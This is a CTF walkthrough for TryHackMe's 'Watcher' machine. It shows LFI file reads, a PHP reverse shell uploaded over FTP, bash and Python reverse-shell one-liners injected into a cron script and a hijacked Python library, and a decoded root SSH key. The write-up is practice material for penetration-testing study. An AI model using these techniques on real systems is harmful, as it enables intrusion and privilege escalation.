CTF Challenges

Watcher TryHackMe Walkthrough

Today it is time to solve another challenge called “Watcher”. It is available at TryHackMe for penetration testing practice. The challenge is of medium difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The credit for making this machine goes to Will (@rushisec). The breakdown of the Machine with the redacted flags is as follow:

Level: Medium

Penetration Testing Methodology

  • Network Scanning
    • Nmap Scan
  • Enumeration
    • Enumerating HTTP Service
    • Directory Bruteforce using dirb
    • Reading robots.txt
    • Reading Flag 1
    • Enumerating PHP file
    • Detecting LFI
    • Enumerating FTP credentials
    • Logging in FTP Service
    • Reading Flag 2
  • Exploitation
    • Uploading reverse shell through FTP
    • Running shell using LFI
    • Getting shell as www-data
    • Reading Flag 3
    • Enumerating Sudo Permissions
    • Getting shell as Toby
    • Reading Flag 4
    • Enumerating Cron Jobs
    • Exploiting Cronjob
    • Getting shell as Mat
    • Reading Flag 5
    • Enumerating Sudo Permissions
    • Exploiting Python Library Hijacking
    • Getting shell as Will
    • Reading Flag 6
  • Privilege Escalation
    • Enumerating Groups
    • Enumerating Base64 encoded key
    • Decrypting Key
    • Using Key to login via SSH
    • Getting Root shell
    • Reading Flag 7


There are seven flags in this machine to discover. After Booting up the target machine from the TryHackMe: Watcher CTF Page, an IP will be assigned to the machine and will be visible on that page as well.

IP Address:

Network Scanning

We will start a nmap scan with the -sC for Default Scripts and -sV for Scanning Versions.

nmap -sC -sV

Nmap was able to identify 3 services running on the target machine. It includes the FTP (21), SSH (22) and HTTP (80). We don’t have the credentials for the SSH so we cannot enumerate it and FTP doesn’t have Anonymous Login enabled. Only service that is left is the HTTP service.


Starting with the HTTP service, we try to enumerate by accessing the IP Address of the target machine on a Web Browser. We see a website that features some weird merchandise. It has the cork-based placements. After looking around for a while we were unable to find something that might help us to exploit the machine.

Next order of enumeration, is to perform a directory Bruteforce. We will be using the drib tool for this Bruteforce. You can use gobuster or any other tool as per your convenience. We have added the Extension filter to streamline the enumeration process. We have configured the dirb to look for the php files and txt files. We were able to get a robots.txt and post.php files.

dirb -X.php,.txt

First, we tried to read the contents of robots.txt file. We see that it has an 2 entries. One of them is the flag_1.txt file and another is the secret_file_do_not_read.txt. Let’s take a look at the flag file first.

We change the URL to read the flag_1.txt file to read the first flag in the machine.

We tried to read the secret file but we were unable to do so from the browser directly like the flag 1. We went back to the dirb scan result and found the post.php file. It has the header of the website and the footmark. There is nothing of much interest here.

We went back to the original webpage and started to enumerate different products. Here, we noticed that when we clicked on the image of the merchandise, it invokes the post.php file that we found earlier. We also saw that there is a parameter that is supposed to work with the php file. This was missing when we tried to run the php file directly hence we were not able to observe anything.

Anyhow, since we have a php file with a parameter it is an entry point where we can inject scripts or different values that could lead to execution on the server side if the input to that parameter is not filtered. One of the first things that we tried was a Local File Inclusion script. We were able to read the passwd file as depicted below.

From the working of the php file, it was clear that it is being used to fetch the webpages. The structure of webpages is usually designed in such way that the robots.txt and other files will possible be in the same directory as well. Since we were not able to read the secret file directly earlier, let’s try to read the file through the Local File Inclusion now. We see that there is the ftp data location as well as the credentials to access the FTP service.

We connect to the FTP service using the credentials that we just found. We then move over to look around for files that might be shared on FTP. We found a directory by the name of files and the flag 2. We transfer the flag back to the local Kali Machine to read it.

ls -la
get flag_2.txt
cd files
ls -la
cat flag_2.txt

The files directory that was found on FTP was empty but when we took a closer look at the permission of the directory, we found that it is possible to upload files to that directory. With the ability to upload files using FTP and then the ability to run the file using the Local File Inclusion, it is possible to get initial foothold on the target machine.


We use the php reverse shell that is located at the /usr/share/webshells/php/php-reverse-shell.php and edited it to add our local IP Address [VPN IP Address] on it to get the shell back to our listener.

nano shell.php

We reconnect to the FTP service as the ftpuser and then upload the shell.php file inside the files directory using the put command.

cd files
put shell.php

Then we get to the web browser and using the location that we learned from the secret file, we try to browse the shell.php file that we just uploaded. However, we open a Netcat listener on the port that was mentioned in the shell.php file i.e., 1234.

As soon as we execute the shell.php using the Local File Inclusion, we get back to the Netcat listener that we ran earlier. We see that we have a session from the target machine. The session that was generated was for the user www-data. We use the python one-liner to convert the shell that we got to the TTY shell for easier usage.

nc -lvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'

We land into the root directory, and decided to start enumerating for more flags from the /var/www/html directory. When we listed the contents of that directory, we found a directory with the name of more_secrets_a9f10a. After getting inside this directory, we found our third flag.

cd /var/www/html
cd more_secrets_a9f10a/
cat flag_3.txt

We tried to look around for more flags, but we were unable to locate more. Then we dropped looking for flags and started enumeration for elevating privileges to root. We tried to enumerate the sudo permissions for the current user and found that we can run all commands as toby user. We invoked the bash using sudo and get the access as toby user. Then we traversed inside the home directory of the toby user to find our fourth flag and a note.

sudo -l
sudo -u toby /bin/bash
cd ~
ls -la
cat flag_4.txt

Reading the note.txt we see that there is a mention of the cronjobs. We investigate the cronjobs by reading the /etc/crontab file. We found a shell script that is located inside the jobs directory named cow.sh. It gets executed as the user mat. We inspected the permissions on the cow.sh file to find that it is writable by the toby user. Also upon reading the contents of the shell script we see that it copies a image file from mat users home directory to temp directory.

cat note.txt
cat /etc/crontab
ls -la /home/toby/jobs/
cat /home/toby/jobs/cow.sh

Using the echo command, we insert a reverse shell script pointed to our local IP Address [VPN IP Address] on port 8080.

echo "bash -i >& /dev/tcp/ 0>&1" >> /home/toby/jobs/cow.sh

We start a netcat listener on the port 8080 on the local Kali Machine. The cronjob executes the shell script and invokes a reverse shell to our netcat listener. The shell that we have received is for the mat user. We listed the contents of the home directory of mat user. We found a note, a directory named scripts and the flag 5.

nc -lvp 8080
ls -la
cat flag_5.txt

Upon reading the note, we find that we need to run a python script with sudo to elevate privileges. To check what kind of script we can run with sudo, we ran sudo -l command. It revealed that we can run the will_script.py as will user.

cat note.txt
sudo -l

Now that we know that we need to run a python script, we traversed into the scripts directory to take a look at the script to run. We found 2 scripts inside: cmd.py and will_script.py. Reading the will_script.py we see that it is a filter script. It restricts the user from running commands other than ls, id and cat /etc/passwd commands. It uses a python library named cmd. The library asks for a numeric entry and then it runs one of the three command mentioned earlier. Since we have library inside the same directory as the script, we can hijack the library to run a reverse shell python script.

cd scripts
cat will_script.py
cat cmd.py

To do we will use the echo command to insert the python reverse shell script inside the python library script is using i.e., cmd.py. After doing so, we will run a netcat listener on the same port that we mentioned inside the reverse shell script. Now all that is left is to run the python script will_script.py as will user using sudo.

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> /home/mat/scripts/cmd.py
sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py *

After running the script as will user, we get back to our local machine where we ran the netcat listener earlier. We see that we have received a shell as the will user. We check the contents of the will user’s home directory to find the flag6.

nc -lvp 4444
cat flag_6.txt

Privilege Escalation

Now that we have the will user, we need to elevate privilege to root user to conclude this machine. While exploring various options, we found two things. One was that the will user was part of adm group. This was checked using the id command. Secondly when we checked for the files that are accessible for the adm group we found some in the /opt directory. We got to the /opt directory to find another directory by the name of backups. Reading the data from backups directory, we found a key that was encoded in base64.

cd /opt
cd backups
cat key.b64

We read the content of the key.b64 using the cat command and then proceeded to copy the contents of the key file and then on a terminal on our local machine created a copy of the same. Then we used the base64 -d command to decode the contents of the key. It turns out to be the private key that can be used to gain access on the target machine through the SSH service. We named the key as id_rsa and changed the permissions to readable to use to connect to SSH.

nano key   
cat key | base64 -d           
cat key | base64 -d >> id_rsa
chmod 600 id_rsa

We connect to the target machine through the SSH service using the key that we created. After connecting we were able to secure the last and final flag for this machine.

ssh -i id_rsa root@
cat flag_7.txt

Author: Pavandeep Singh is a Technical Writer, Researcher, and Penetration Tester. Can be Contacted on Twitter and LinkedIn